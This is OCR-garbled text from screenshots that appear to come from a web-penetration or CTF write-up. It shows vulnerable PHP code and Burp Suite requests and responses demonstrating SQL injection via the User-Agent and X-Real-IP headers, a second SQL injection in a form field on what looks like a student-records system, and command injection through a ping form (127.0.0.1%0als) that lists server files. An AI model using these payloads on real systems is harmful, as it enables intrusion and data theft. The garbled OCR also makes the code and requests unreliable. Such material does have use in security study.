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/0
CREATE TABLE "message’ (
‘remote addr® TEXT NOT NULL ,
& "user_agent TEXT NOT NULL ,
“name TEXT NOT NULL ,
“text TEXT NOT NULL
) ENGINE = MYISAM ;

o'

$link = mysql _connect("localhost", "*¥#k" IMhkkkkkkn).
mysql_select db("task", $link);

$§ip = § SERVER["REMOTE ADDR"1;

if(isset(s SERVER["HTTP X REAL IP"1)) {

$ip = $ SERVER["HTTP_X REAL IP"];

}

$ip = addslashes($ip);

$user agent = addslashes($ SERVER["HTTP USER AGENT"1);
$ip = substr($ip, 0, 15); // max length 15

if(isset(s POST["name"]) && isset(s POST["text"])) {

< §text = addslashes($ POST["text"1);

sname = addslashes(s POST["name"]);

-~ $query = mysql query("INSERT INTO message‘ (*remote addr’', ‘user agent’, ‘name’, 'text') VALUES('{$ip}',
*{$user _agent}', '{$name}', '{$text}');", $link);

print $ip.'”~'.Suser agent.'”'.$name.'"'.$text;

$query = mysql_query("SELECT * FROM 'message ;", $link);
echo("<table>");

while(srow = mysql fetch assoc(squery)) {
echo("<tr><td>{srowl["name"1}</td><td>{Srow[ "text"]}</td></tr>");

}
echo("</table>");
7>
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Request

_[ Raw T Params T Headers T Hex ]

Target: http://84.19.190.131 @

Response

_[ Raw T Headers T Hex T HTML T Render ]

POST http://84.19.190.131/tasks/2/ HTTP/1.1

Host: 84.19.190.131

User-Agent: ,(select 1),(select version()),(select databasel)))#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/%;q=0.8
Accept -Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-REAL-IP: 127.0.0.11\\\\\\

DNT: 1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 15

name=aa&text=aa

15 cnmBonoB

LTINS

s

HTTP/1.1 200 OK

Date: Fri, 17 Jun 2016 14:24:48 GMT
Server: Apache

X-Powered-By: PleskLin

Vary: Accept-Encoding
Content-Length: 331

Content-Type: text/html

X-Cache: MISS from vk-com-feed
X-Cache-Lookup: MISS from vk-com-feed:3128
Via: 1.1 vk-com-feed (squid/3.4.8)
Connection: close

<a href="http://84.19.190.131/tasks/2/7clear">Truncate
Table</a=<br=<br=127.0.0.11\\\\\", (select 1), (select version()), (select

database()))#*aa"aa<table><t r><td>test name</td><td>test text</td=</tr=><tr><td>test

name2</td><td>test

text2</td></tr><tr><td=5.1.73-1</td><td>task</td></t r><t r><td>5.1.73-1</td><t d>task</td></

tr></table>



Go Cancel <|» >\ Target: I mm— e ——— w LZJ
Request Response
_[” MJ Params T Headers T Hex ] J‘“w T Headers T Hex T HTML T Render ]
DNT: 1 A <div class="form-group col-md-12"> A
Referer: http:// "2 et <label class="col-md-2 W - - - - e /Label > 2
Cookie: JSESSIONID=A53A7SC4474F35204244BBBESOSDDBCE
plt_auth_cookie=c4f254ce548b04b00decOb8ebdf6ac2l; plt_lang=1; <div class="col-md-10">
sessionid=AS3A75C4474F35204244BBBESOSDDBCE; activePageIndex=1471267045262 <div class="input-group calendar-wrap">
Connection: close <input type="text" class="form-control myCalendar" name="date_doc_education"
Content-Type: application/x-www-form-urlencoded id="tdate_doc_education" value="10-11-2015" =><span class="input-group-addon"><i
Content-Length: 2506 class="fa fa-calendar"=</i></span=></div>
</div>
31 e «8683&countInPart=1&page=0&facultyID=0&cafedralD=08&professionID=0&course=0&studyFo </div>
rmID=0&state=1&recordsCount=0&recordNumber=-1&studylLanguageID=0&pfID=0&degreeID=08&specializ
ationID=0&sGroupID=0&certificateType=0&fromPracticePage=false&isFromStudyFormPage=false&ln= <div class="form-group col-md-12"=
%2Ftest - 3&fn=%2F&pt=E&lastnameEN=&firstnameEN=&pat ronymicEN=&LnPrev=_&mail=&bd=10-11-1998&sx= <label for="tn" class="col-md-2" s o w</label>
2&nt=1&im=1&bp=8&otherBirthPlace=&rp=&ad=&l p=&lad=8&ph=&iin=&ictype=1&icn=&icseries=&icdt=10- %
11-2015&icdp=_&ed=&seriyaAttestata=&nomerAttestata=&dataVydachiAttestata=10-11-2015&naselenn ] <div class="col-md-10">
yiPunktAttestata=&shcoolName=&seriyaDiploma=&dataVydachiDiploma=10-11-2015&groupID=1750&cn= <input type="text" class="form-control" name="tn" id="tn"
1&sd=10-11-2015&ent eredinru=%DC%9A%D0%B0%DC%B7%D0%B0O%D1% 85%D1%81%D0% BA% DC% B8% D% BI+%D0% 90% D value="root@localhost"
s B3% D1% 80P DO BE% D1% 82% D0 BS% D1% 85% D% B D B8% D1% 87% D0% B5% D1% 81°% D% BA% DO B8% D0 B9+%D1% 83% D maxlength="64"=>
0P BDf: DO BE% D% D% B5%D1% 8% D1%81% D B8% D1% 82% D0 BS5% D1% 82+% DC% B8% D% BC . % DC% AL . % D0 A1% DC%BS </div>
%D0% B D1% 84%D1% 83% DC% BB% D% BB% DO% B&% D% BD% DO% BC% 2C+ 20166t n=mmm&ee=&ent eredink z=%D0% Al . %DC% </div=>
A% D% B5% D% B2 D1% 84% D1% 83% D% BB’ D% BB% D0 B8% D% BD+% D P B D1% 82% D1% 8B% D% B0 D% B4% D% BCO D2%
93%D1°% 8B+% D 2% 9A% D% BCP: D% B7% DCP: BO% D 2% 9B+% D 90% D% B3% D1% 80% D% BE% D1% 82% D% BS% D1% 85% DC% BD% DO <div class="form-group col-md-12">
% B8% D0 BA% DCP: BC% DO BB% D1% 8B% D2% 9B+2% D1% 83% D0 B DC% B8% D% B2% D0 B5% D1% 80% D1% 81% DC% B8% D1% 82% DO <label for="trn" class="col-md-2" N a et S—
%B5%D1%82%D1%96%2C+20168peikz=, transcrlptnumber—(select+user( )),city=(select+user())+where+ . W< /label >
\ oy =8683; +- - +&eekz=8enteredinen=""" """ h b -
26+2016&pe1en—&eeen—&ser1es number_doc_ educatlon—&date doc_education=10-11- 2015&pe1ru—m\\\\ <div class="col-md-10">
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ <input type="text" class="form-control" name="trn" id="trn"
AT AT TR LR TR LR L LR LR L LR LR LR L LR LR LA ALV value=""
AT AR T LR TR LR LR L LR L L L LR L LAV VA maxlength="64">
AT TR L L L L L L L LR LR LR LA RV LAY </div>
ATERREEREEE TR LR DR R LR LR LR R LR R LR LR R LR LR LR R LR ALV </div> E
ALEERE LDV EE rn=8t gd=10-11 - 20158 r=&rt=08ball_mat |3 5
h=nLhall hictaruv=NLhall Arafila—NLhall bar Tana=nLhall rie 1ana=nthall ~rastive avam—NLhall L o edh Flace="farm-arain ~al omd.19" L
? < + > Pt 1 match < + > root 2 matches

513 cumBonoB
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Ping

IP: 127.0.0.1

st r‘ltl\T l'

-]_ I_‘_' b b ’

ms

icmp:
icmp_

0.1) 56(84)
tt1l=64 time

' tt1=64 time

tt1=64 time
TT1~ﬁ4 timw

oytes from

from

s from

0.1



Cancel

| Go [<ir > v

Request

JB&W/T Params T Headers T Hex ]

Target: https://192.168.27.67
Response

_[R,awT Headers ] Hex T HTML T Render ]

POST /index.php?page=ping.php HTTP/1.1 A <div id="body" class="width">
Host: 192.168.27.67 3 <section id="content">
User-Agent: Mozilla/5.0 (X11; Linux x86_64; nv:45.0) Gecko/20100101 Firefox/45.0 <article>
Accept: text/html, application/xhtml+xml application/xml;q=0.9,*+,q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://192.168.27.67/index.php?page=ping.php <h3=>Ping</h3>
Connection: close
Content-Type: application/x-www-form-urlencoded <fieldset>
Content-Length: 33 <form action="/index.php?page=ping.php" method="POST">
<p>IP: <input name="ip" id="ip" value="127.0.0.1\nls" onClick="this.select();" type="text" /></p>
ip=127.0.0.1%0als&send=Ping+It%21 <p><input name="send" style="margin-left: 150px" class="formbutton" value="Ping It!" type="submit" /></p>
</form>
<ffieldset>
<pre=!IERROR!!! That is an invalid IPv4. </pre=<br/><br/><br/><br/><br/><br/><p>The last command
executed was: ping -c 4 127.0.0.1
Is. <a href='findex.php?page=job.php&job=98'>Click here to re-run<ja>.</p>
</article>
</section>
<aside class="sidebar">
<ul>
<|i=
<h4=>Categories</h4>
<ul>
<li==<a href="index.htm|">Home Page</a></li>
<li=<a href="/notyetdone/">Important Page</a></li>
<li=<a href="/notyetdone/">Important Page</a></li>
<li==<a href="/notyetdone/">Important Page</a></li>
<li=<a href="/alsonotdone/">Another Page</a></li>
b </ul>
¥ </li>
? < + = Type a search term 0 matches ? S + = =/fieldset=
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Go Cancel <|v >

Request

_[ Rawy T Params T Headers T Hex ]

Target: https://192.168.27.67 [#| (7]

Response

_[ Raw T Headers I Hex T HTML T Render ]

GET /index.php?page=job.php&job=B8 HTTP/1.1

Host: 192.168.27.67

User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,**q=0.8
Accept-Language: en-US,en;q=0.5

Connection: close

T

0 matches

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.018 ms
64 bytes from 127.0.0.1: icmp_seq=2 tt|=64 time=0.030 ms
64 bytes from 127.0.0.1: icmp_seq=3 tt|=64 time=0.029 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.031 ms

---127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.018/0.027/0.031/0.005 ms
403.php

405.php

500.php

alsonotdone

config.php

dig.php

ever.php

examples.html

home.php

images

index.php

job.php

license.txt

notyetdone

ping.php

python.php

readme and license.txt
robots.txt

styles.css

traceroute.php

whois.php

</code><br/><br/><br/><br/><br/><br/><p>The last command executed was: . <a
href='/iqdex.php?page=job.php&job=0'>click here to re-run</a=.</p>

? < + = Type a search term

T

-
v

0 matches

4,063 bytes | 3,214 millis
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